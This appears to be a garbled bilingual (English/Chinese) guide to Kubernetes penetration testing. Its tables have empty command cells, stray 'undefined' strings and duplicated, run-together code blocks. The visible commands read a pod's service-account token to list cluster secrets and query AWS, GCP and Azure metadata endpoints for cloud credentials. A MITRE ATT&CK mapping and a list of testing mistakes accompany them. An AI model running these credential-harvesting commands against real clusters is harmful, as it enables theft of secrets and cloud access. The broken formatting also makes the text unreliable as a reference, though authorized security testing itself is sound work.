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| Task | Command |
|---|---|
| Check permissions | |
| Find privileged pods | |
| List secrets | |
| Test anonymous access | |
| 任务 | 命令 |
|---|---|
| 检查权限 | |
| 查找特权Pod | |
| 列出密钥 | |
| 测试匿名访问 | |
undefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/secretsTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/default/secretsundefinedundefinedundefinedundefinedundefinedundefinedundefinedundefinedcurl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/tokencurl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"curl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/tokencurl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"undefinedundefined
> **Note**: kube-hunter (formerly by Aqua Security) has been deprecated and is no longer maintained. Use `trivy k8s` for equivalent cluster vulnerability scanning.
> **注意**:kube-hunter(原由Aqua Security开发)已被弃用,不再维护。请使用`trivy k8s`进行等效的集群漏洞扫描。undefinedundefinedundefinedundefined| Technique | ID | Test |
|---|---|---|
| Valid Accounts | T1078 | Token leakage |
| Container Admin | T1609 | kubectl exec |
| Escape to Host | T1611 | Privileged abuse |
| Credential Access | T1555 | Secret enumeration |
| Lateral Movement | T1021 | Pod-to-pod access |
| 技术 | ID | 测试项 |
|---|---|---|
| 有效账户 | T1078 | 令牌泄露 |
| 容器管理员 | T1609 | kubectl exec |
| 逃逸到主机 | T1611 | 特权滥用 |
| 凭据获取 | T1555 | 密钥枚举 |
| 横向移动 | T1021 | Pod间访问 |
undefinedundefinedundefinedundefined| Mistake | Why It Fails | Instead |
|---|---|---|
| Testing production clusters without written scope document | Causes unplanned outages; legal and compliance exposure | Get explicit written authorization defining scope, timing, and boundaries |
| Exploiting a vulnerability without documenting the steps | Finding cannot be reproduced or verified; remediation team cannot confirm fix | Record exact commands and outputs as you go |
| Leaving privileged pods or RoleBindings after testing | Attackers can reuse your test artifacts as real attack vectors | Clean up all artifacts immediately after each test phase |
| Assuming RBAC is the only access control | Network-level access, cloud IAM, and metadata endpoints bypass RBAC entirely | Test all attack surfaces: RBAC, network, cloud IMDS, runtime |
| Running scans at peak traffic hours | Scanning generates load; may trigger alerts and degrade user experience | Schedule intensive scans during maintenance windows |
| 错误行为 | 失败原因 | 正确做法 |
|---|---|---|
| 未获得书面范围文档就测试生产集群 | 导致意外停机;面临法律和合规风险 | 获取明确的书面授权,定义测试范围、时间和边界 |
| 利用漏洞但未记录步骤 | 发现结果无法复现或验证;修复团队无法确认漏洞已修复 | 随时记录精确的命令和输出 |
| 测试后遗留特权Pod或RoleBindings | 攻击者可将你的测试工件用作真实攻击向量 | 每个测试阶段结束后立即清理所有工件 |
| 假设RBAC是唯一的访问控制机制 | 网络级访问、云IAM和元数据端点可完全绕过RBAC | 测试所有攻击面:RBAC、网络、云IMDS、运行时 |
| 在流量高峰时段运行扫描 | 扫描会产生负载;可能触发警报并降低用户体验 | 在维护窗口安排密集扫描 |